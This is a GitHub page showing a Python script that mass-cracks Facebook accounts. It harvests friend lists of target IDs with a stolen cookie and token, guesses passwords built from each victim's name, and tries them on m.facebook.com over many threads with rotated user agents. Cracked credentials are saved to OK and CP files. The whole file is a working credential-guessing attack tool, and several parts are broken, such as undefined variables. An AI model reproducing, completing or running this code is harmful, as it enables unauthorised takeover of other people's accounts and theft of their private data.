forked from hshsbbyvg/File-open-source-
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathOK.py
More file actions
507 lines (487 loc) Β· 23.1 KB
/
Copy pathOK.py
File metadata and controls
507 lines (487 loc) Β· 23.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
#-----------------[ IMPORT-KONTOL ]-----------------------#
###----------[ IMPORT MODULE AND INGREDIENT ]---------- ###
import os, sys, re, time, requests, calendar, random, bs4, subprocess, uuid, json, threading,platform,string
from concurrent.futures import ThreadPoolExecutor
from bs4 import BeautifulSoup as parser
from datetime import date,datetime
from time import sleep
ses = requests.Session()
device = platform.platform()
###----------[ IMPORT RICH AND INGREDIENT ]---------- ###
from rich.panel import Panel
from rich.tree import Tree
from rich import print as prints
from rich.console import Console
from rich.table import Table
from rich.columns import Columns
console = Console()
###----------[ IMPORT FILE FROM DIRECTORY ]---------- ###
#from src import login as Login
#from src import dump as Dump
#from src import lain as Lain
###----------[ COLOR FOR PRINT ]---------- ###
P = '\x1b[1;97m' # PUTIH
M = '\x1b[1;91m' # MERAH
H = '\x1b[1;92m' # HIJAU
K = '\x1b[1;93m' # KUNING
B = '\x1b[1;94m' # BIRU
U = '\x1b[1;95m' # UNGU
O = '\x1b[1;96m' # BIRU MUDA
N = '\x1b[0m' # WARNA MATI
###----------[ COLOR FOR RICH ]---------- ###
Z2 = "[#000000]" # HITAM
M2 = "[#FF0000]" # MERAH
H2 = "[#00FF00]" # HIJAU
K2 = "[#FFFF00]" # KUNING
B2 = "[#00C8FF]" # BIRU
U2 = "[#AF00FF]" # UNGU
N2 = "[#FF00FF]" # PINK
O2 = "[#00FFFF]" # BIRU MUDA
P2 = "[#FFFFFF]" # PUTIH
J2 = "[#FF8F00]" # JINGGA
A2 = "[#AAAAAA]" # ABU-ABU
###----------[ GLOBAL NAME ]---------- ###
ses = requests.Session()
reset = "[/]"
IP = requests.get("http://ip-api.com/json/").json()["query"]
negara = requests.get("http://ip-api.com/json/").json()["country"]
zxc = "fbkey"
ff = "fall"
xv = "xavier"
###----------[ APPEND AND MORE ]---------- ###
loop = 0
id,id2,ok,cp = [],[],[],[]
mtd_dev = []
opt = []
idz = []
apk = []
files = []
id_groups = []
data = {}
ugent1, ugent2 = [],[]
datt = []
###----------[ CHECK STATUS SCRIPT ]---------- ###
try:
info = ses.get("https://raw.githubusercontent.com/mrxvaau/MBF/main/info.txt").text
if "maintenance" in info:
prints(Panel(f"""{P2}Sorry, the script is currently under maintenance, please wait until it finishes updating. thanks you<3""",width=80,style=f"{color_table}"))
sys.exit()
except requests.exceptions.ConnectionError:
prints(Panel(f"""{P2}connection problem, please check your connection again""",width=80,style=f"{color_table}"))
sys.exit()
###----------[ CHECK THEME COLOR ]---------- ###
try:
color_rich = open("data/color_rich.txt","r").read()
except FileNotFoundError:
color_rich = "[#00C8FF]"
try:
color_table = open("data/color_table.txt","r").read()
except FileNotFoundError:
color_table = "#00C8FF"
###----------[ CLEAR TERMINAL ]---------- ###
def clear_screen():
if "linux" in sys.platform.lower():
try:os.system("clear")
except:pass
elif "win" in sys.platform.lower():
try:os.system("cls")
except:pass
else:
try:os.system("clear")
except:pass
import requests,bs4,json,os,sys,random,datetime,time,re
import urllib3,rich,base64
from rich.table import Table as me
from rich.progress import Progress,BarColumn,TextColumn,TimeElapsedColumn
from rich.progress import SpinnerColumn
from rich.console import Console as sol
from bs4 import BeautifulSoup as sop
from concurrent.futures import ThreadPoolExecutor as tred
from rich.console import Group as gp
from rich.panel import Panel as nel
from rich import print as cetak
from rich.markdown import Markdown as mark
from rich.columns import Columns as col
from rich import print as rprint
from rich import pretty
from rich.text import Text as tekz
pretty.install()
CON=sol()
#------------------[ USER-AGENT-PROXY ]-------------------#
ugen2=[]
ugen=[]
cokbrut=[]
ses=requests.Session()
princp=[]
try:
prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
open('.proxy.txt','w').write(prox)
except Exception as e:
exit(e)
for xd in range(10000):
a='Mozilla/5.0 (Linux; Android 12;'
b=random.randrange(1, 9)
c=random.randrange(1, 9)
d='SAMSUNG SM-G986U)'
e=random.randrange(100, 9999)
f='AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/17.0 Chrome/96.0.4664.104'
g=random.randrange(1, 9)
h=random.randrange(1, 4)
i=random.randrange(1, 4)
j=random.randrange(1, 4)
k='Mobile Safari/537.36'
uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
ugen2.append(uaku)
aa='Mozilla/5.0 (Linux; U; Android 9; th-TH;'
b=random.choice(['6','7','8','9','10','11','12'])
c='ASUS_Z01QD Build/PKQ1.190101.001)'
d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
e=random.randrange(1, 999)
f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108'
h=random.randrange(73,100)
i='0'
j=random.randrange(4200,4900)
k=random.randrange(40,150)
l='UCBrowser/12.10.0.1163 UCTurbo/1.10.6.900 Mobile Safari/537.36'
uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
ugen.append(uaku2)
for x in range(10):
a='Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S'
b=random.randrange(100, 9999)
c=random.randrange(100, 9999)
d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
h=random.randrange(1, 9)
i='; U; Bada/1.2; en-us) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/'
j=random.randrange(1, 9)
k=random.randrange(1, 9)
l='Mobile WVGA SMM-MMS/1.2.0 OPN-B'
uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
ugen.append(uak)
def uaku():
try:
ua=open('bbnew.txt','r').read().splitlines()
for ub in ua :
ugen.append(ub)
except:
a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
ua=open('.bbnew.txt','w')
aa=re.findall('line">(.*?)<',str(a))
for un in aa:
ua.write(un+'\n')
ua=open('.bbnew.txt','r').read().splitlines()
ua = random.choice(['Mozilla/5.0 (Linux; Android 12; SM-S906N Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.119 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 10; SM-G996U Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 10; SM-G980F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.96 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]',
'Mozilla/5.0 (Linux; Android 4.4.4; en-au; SAMSUNG SM-N915G Build/KTU84P) AppleWebKit/537.36 (KTHML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)',
'Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 10; M2006C3MG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36'])
#------------[ INDICATION ]---------------#
id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
cokbrut=[]
pwpluss,pwnya=[],[]
#------------[ WARNA-MEMEKMU]--------------#
P = '\x1b[1;97m'
M = '\x1b[1;91m'
H = '\x1b[1;92m'
K = '\x1b[1;93m'
B = '\x1b[1;94m'
U = '\x1b[1;95m'
O = '\x1b[1;96m'
N = '\x1b[0m'
Z = "\033[1;30m"
sir = '\033[41m\x1b[1;97m'
x = '\33[m' # DEFAULT
m = '\x1b[1;91m' #RED +
k = '\033[93m' # KUNING +
h = '\x1b[1;92m' # HIJAU +
hh = '\033[32m' # HIJAU -
u = '\033[95m' # UNGU
kk = '\033[33m' # KUNING -
b = '\33[1;96m' # BIRU -
p = '\x1b[0;34m' # BIRU +
asu = random.choice([m,k,h,u,b])
#--------------------[ CONVERTER-BULAN ]--------------#
dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
tgl = datetime.datetime.now().day
bln = dic[(str(datetime.datetime.now().month))]
thn = datetime.datetime.now().year
okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
#------------------[ MACHINE-SUPPORT ]---------------#
def jalan(u):
for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
def clear():
os.system('clear')
def back():
login()
def banner():
print(f"""{u} _______ ______ _______ _______ _ _
| |_____/ |_____| | |____/
|_____ | \_ | | |_____ | \_""")
jalan(f'({H}+{P})simple crak')
#--------------------[ BAGIAN-MASUK ]--------------
#--------------------[ MASUK ]--------------#
def login():
try:
token = open('token.txt','r').read()
cok = open('cok.txt','r').read()
tokenku.append(token)
try:
sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
sy2 = json.loads(sy.text)['name']
sy3 = json.loads(sy.text)['id']
menu(sy2,sy3)
except KeyError:
login_lagi334()
except requests.exceptions.ConnectionError:
li = ' PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN '
lo = mark(li, style='red')
sol().print(lo, style='cyan')
exit()
except IOError:
login_lagi334()
def login_lagi334():
try:
os.system('clear')
banner()
asu = random.choice([m,k,h,b,u])
cookie=input(f'Enter Cookies :{H} ')
data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "NokiaX3-02/5.0 (06.05) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie})
find_token = re.search("(EAAG\w+)", data.text)
ken=open("token.txt", "w").write(find_token.group(1))
cok=open("cok.txt", "w").write(cookie)
print(f' {x}[{h}β’{x}]{h} LOGIN SUCCESSFUL ');time.sleep(1)
os.system('python fbi.py')
# exit()
except Exception as e:
os.system("rm -f token.txt")
os.system("rm -f cok.txt")
print(f' %s[%sx%s]%s LOGIN FAILED.....CHECK YOUR ACCOUNT !!%s'%(x,k,x,m,x))
exit()
#------------------[ BAGIAN-MENU ]----------------#
def menu(my_name,my_id):
try:
token = open('token.txt','r').read()
cok = open('cok.txt','r').read()
except IOError:
print('[Γ] Expired Cookies ')
time.sleep(5)
login_lagi334()
os.system('clear')
banner()
ip = requests.get("https://api.ipify.org").text
prints(Panel(f"{H2}",padding=(0,30),title=f"{H2}Select the script menu",subtitle=f"",style=f"{color_table}"))
print(f'{P}[{B}01{P}]:CRAK PUBLIK{H}(ON)\n{P}[{B}02{P}]:check results crak{M}(OFF)\n{P}[{B}00{P}]:OUT')
poko = input(f'[{B}*{P}]select:')
if poko in ['1']:
craker()
elif ridwan-xd223 in ['0']:
os.system('rm -rf token.txt')
os.system('rm -rf cookie.txt')
print('πSuccessfully Logout+Delete Cookies ')
exit()
#-----------------[ HASIL-CRACK ]-----------------#
#-------------------[ CRACK-PUBLIK ]----------------#
def craker():
try:
token = open('token.txt','r').read()
cok = open('cok.txt','r').read()
except IOError:
exit()
try:
jum = int(input(f'[{B}*{P}]input target amount: '))
except ValueError:
print('πwrong input ')
exit()
if jum<1 or jum>100:
print('π Failed Dump Id not public ')
exit()
ses=requests.Session()
yz = 0
for met in range(jum):
yz+=1
kl = input(f'[{B}*{P}] Enter id '+str(yz)+' : ')
uid.append(kl)
for userr in uid:
try:
col = ses.get('https://graph.facebook.com/v1.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
for mi in col['friends']['data']:
try:
iso = (mi['id']+'|'+mi['name'])
if iso in id:pass
else:id.append(iso)
except:continue
except (KeyError,IOError):
pass
except requests.exceptions.ConnectionError:
print('unstable signal ')
exit()
try:
print(f'id celection{asu}'+str(len(id)))
setting()
except requests.exceptions.ConnectionError:
print(f'{x}')
print('πunstable signal ')
back()
except (KeyError,IOError):
print(f'{k} Friendship Not Public {x}')
time.sleep(3)
back()
#-------------[ PENGATURAN-IDZ ]---------------#
def setting():
prints(Panel(f"{P2}SIMPLE",padding=(0,30),title=f"{H2}id order setting crak",subtitle=f"",style=f"{color_table}"))
print(f'{P}1. Id Old To New{M} (Not Recommend\n{P}2. Id New To Old{H} (Recommend)\n{P}3. Id Random{K} (Very Recommend')
hu = input('Pilih : ')
if hu in ['1','01']:
for tua in sorted(id):
id2.append(tua)
elif hu in ['2','02']:
muda=[]
for bacot in sorted(id):
muda.append(bacot)
bcm=len(muda)
bcmi=(bcm-1)
for xmud in range(bcm):
id2.append(muda[bcmi])
bcmi -=1
elif hu in ['3','03']:
for bacot in id:
xx = random.randint(0,len(id2))
id2.insert(xx,bacot)
else:
print('input correctly ')
exit()
print('')
print('')
prints(Panel(f"{P2}choose metode",padding=(0,30),title=f"{P2}metode menu",subtitle=f"{H2}simple",style=f"{color_table}"))
print(f'''{x}1. login from{B} m.facebok.com {P}(slow)''')
cetak(nel(f'[green]Notes: choose the login methode'))
print('')
hc = input('Chouse : ')
if hc in ['1','01']:
method.append('mobile')
# else:
method.append('mobile')
cetak(nel('[green]Default Password In this script only fullname+nama1234 Recommended to use anadditional password'))
pwplus=input('add pasword manual y/t : ')
if pwplus in ['y','Y']:
pwpluss.append('ya')
cetak('Masukkan kata sandi tambahan minimal 6 karakter\nContoh :[green] Indonesia,rahasia,katasandi[white] ')
pwku=input('Enter Additional Password : ')
pwkuh=pwku.split(',')
for xpw in pwkuh:
pwnya.append(xpw)
else:
pwpluss.append('no')
passwrd()
jalan('#' * 40)
#-------------------[ BAGIAN-WORDLIST ]------------#
def passwrd():
global prog,des
print(f'ββ Play Airplane Mode Every {m}500 ID\n')
# os.system('clear')
prog = Progress(SpinnerColumn('earth'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'));des = prog.add_task('',total=len(id))
with prog:
with tred(max_workers=30) as pool:
for yuzong in id2:
idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
frs = nmf.split(' ')[0]
pwv = []
if len(nmf)<6:
if len(frs)<3:
pass
else:
if len(frs)<3:
pwv.append(nmf)
else:
pwv.append(nmf)
pwv.append(frs+'123')
pwv.append(frs+'1234')
pwv.append(frs+'12345')
if 'ya' in pwpluss:
for xpwd in pwnya:
pwv.append(xpwd)
else:pass
if 'mobile' in method:
pool.submit(crack,idf,pwv)
else:
pool.submit(crack,idf,pwv)
print('')
cetak('\t[cyan]ββ[green] Succesfully Crack,Dont Forget Send Your Feedback After Use My Script [cyan] <<[white] ')
print(f'{h} OK : {h}%s '%(ok))
print(f'{k} CP : {k}%s{x} '%(cp))
print('')
print('ββ Do You Want User Checkpoint Detector ( Y/t ) ? ')
woi = input('ββ Select : ')
if woi in ['y','Y']:
cek_opsi()
else:
print(f'\t{x}ββ{k} Good Bye Thanks To Using My Script {x} << ')
time.sleep(2)
back()
#--------------------[ METODE-MOBILE ]-----------------#
def crack(idf,pwv):
global loop,ok,cp
bi = random.choice(['\33[m'])
pers = loop*100/len(id2)
fff = '%'
prog.update(des,description=f'[deep_white]{(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
prog.advance(des)
ua = random.choice(ugen)
ua2 = random.choice(ugen2)
ses = requests.Session()
for pw in pwv:
try:
ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
p = ses.get('https://p.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
koki+=' m_pixel_ratio=2.625; wd=412x756'
heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
po = ses.post('https://p.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
if "checkpoint" in po.cookies.get_dict().keys():
print(f'{K}RESULTS {cpc}')
print(f'\rβββ{K}{idf}|{pw} \n{M}{ua} \n')
open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
akun.append(idf+'|'+pw)
cp+=1
break
elif "c_user" in ses.cookies.get_dict().keys():
ok+=1
coki=po.cookies.get_dict()
kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
print(f'{H}RESULTS {okc}')
print(f'\rβββ {H}{idf}{pw} \n{P}βββ {H}{kuki}\n{H}{ua}{P}\n')
open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
cek_apk(session,coki)
break
else:
continue
except requests.exceptions.ConnectionError:
time.sleep(31)
loop+=1
def Selamat():
print("")
clear()
jalan(f"{M}SELAMAT BERSENANG SENANG")
login()
#-----------------------[ SYSTEM-CONTROL ]--------------------#
if __name__=='__main__':
try:os.system('git pull')
except:pass
try:os.mkdir('OK')
except:pass
try:os.mkdir('CP')
except:pass
try:os.system('touch .prox.txt')
except:pass
Selamat()